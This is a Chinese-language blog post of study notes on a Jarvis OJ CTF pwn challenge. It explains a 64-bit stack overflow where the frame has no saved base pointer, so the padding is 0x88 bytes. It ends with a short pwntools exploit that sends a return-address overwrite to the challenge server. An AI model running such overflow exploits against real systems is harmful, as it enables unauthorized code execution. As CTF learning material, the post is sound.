Jarvis Oj Pwn 学习笔记-Tell Me Something

记一个64位栈帧的坑!!!

老板儿,链接要得:

https://files.cnblogs.com/files/Magpie/guestbook.rar

nc pwn.jarvisoj.com 9876

第n次checksec...:

宣IDA觐见:

good_name一看就很妖孽,于是跟进去:

好嘛~搞定了这不!

看一下main函数的溢出点:

于是payload:

junk='A' * (0x88 + 0x08)

ret=p64(0x400620)

payload=junk + ret

写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~

所以,有坑!

现在我们来看一下汇编:

main:

 

 good_name:

 

 仔细一看,惊了!

main:----->

good_name: & ----->

所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp ,     mov ebp,esp ,     sub esp,size_of_frame)是不一样的!

因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8

这样一来问题就解决了,我们上exp:

 1 from pwn import*
 2 r=remote('pwn.jarvisoj.com','9876')
 3 print r.recvline()
 4 pad='a'*0x88
 5 add=p64(0x400620)
 6 payload=pad+add
 7 r.sendline(payload)
 8 print payload
 9 print r.recvline()
10 print r.recvline()

从这道题中我们得到一个教训:

看汇编!

看汇编!!

一定要看汇编!!!

 

posted @ 2018-05-31 21:39  Magpie#Canary  阅读(655)  评论(0编辑  收藏  举报